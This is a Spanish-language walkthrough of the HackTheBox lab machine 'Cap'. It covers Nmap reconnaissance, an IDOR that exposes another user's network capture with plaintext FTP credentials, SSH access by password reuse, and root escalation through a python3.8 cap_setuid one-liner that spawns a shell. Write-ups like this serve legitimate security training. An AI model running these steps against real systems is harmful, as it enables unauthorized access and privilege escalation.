Cap es una máquina Linux de dificultad fácil de HackTheBox. La cadena de explotación combina un IDOR que expone capturas de red con credenciales en texto plano y una escalada de privilegios abusando de Linux capabilities sobre el binario de Python.
1. Reconocimiento inicial
Como siempre, lo primero es añadir la máquina al /etc/hosts:
echo "10.10.10.245 cap.htb" >> /etc/hostsComprobamos conectividad y lanzamos el escaneo con Nmap:
sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn cap.htb -oN scanResultado:
| Puerto | Estado | Servicio | Versión |
|---|---|---|---|
| 21/tcp | open | ftp | vsftpd 3.0.3 |
| 22/tcp | open | ssh | OpenSSH 8.2p1 Ubuntu |
| 80/tcp | open | http | Gunicorn |
Tenemos FTP, SSH y una web con Gunicorn. Vamos a ver qué hay en el puerto 80.
2. Enumeración web
La web muestra un panel de seguridad con varias opciones en el menú lateral. Hay una sección llamada Security Snapshot que realiza capturas de red y las guarda como archivos PCAP.
Al pulsar el botón de captura, la aplicación nos redirige a /data/1 y nos permite descargar el PCAP resultante. Observamos que la URL tiene un ID numérico, lo que huele a IDOR.
3. Explotación del IDOR
Probamos a cambiar el ID de la URL a /data/0 para acceder a la captura de otro usuario:
http://cap.htb/data/0La aplicación nos deja descargar el archivo sin ningún tipo de validación. Lo descargamos y lo abrimos con Wireshark:
wireshark 0.pcapFiltramos por protocolo FTP:
ftpEntre los paquetes encontramos una sesión FTP completa con credenciales en texto claro:
USER nathan
PASS Buck3tH4TF0RM3!4. Acceso inicial por SSH
Probamos reutilización de credenciales en SSH:
ssh nathan@cap.htbFunciona directamente. Ya estamos dentro como nathan.
cat user.txtFlag de usuario obtenida.
5. Escalada de privilegios: Linux Capabilities
Enumeramos las capabilities asignadas a los binarios del sistema:
getcap -r / 2>/dev/null/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eipEl binario python3.8 tiene la capability cap_setuid, que permite cambiar el UID efectivo del proceso sin necesidad de ser root. Podemos aprovechar esto para ejecutar una shell como root:
python3.8 -c "import os; os.setuid(0); os.system('/bin/bash')"root@cap:~#Somos root. Leemos la flag:
cat /root/root.txtResumen de técnicas utilizadas
- Enumeración de servicios con Nmap
- Explotación de IDOR para acceder a capturas de red ajenas
- Análisis de tráfico con Wireshark y extracción de credenciales FTP en texto plano
- Reutilización de contraseñas entre FTP y SSH
- Escalada de privilegios abusando de Linux Capabilities (
cap_setuiden Python)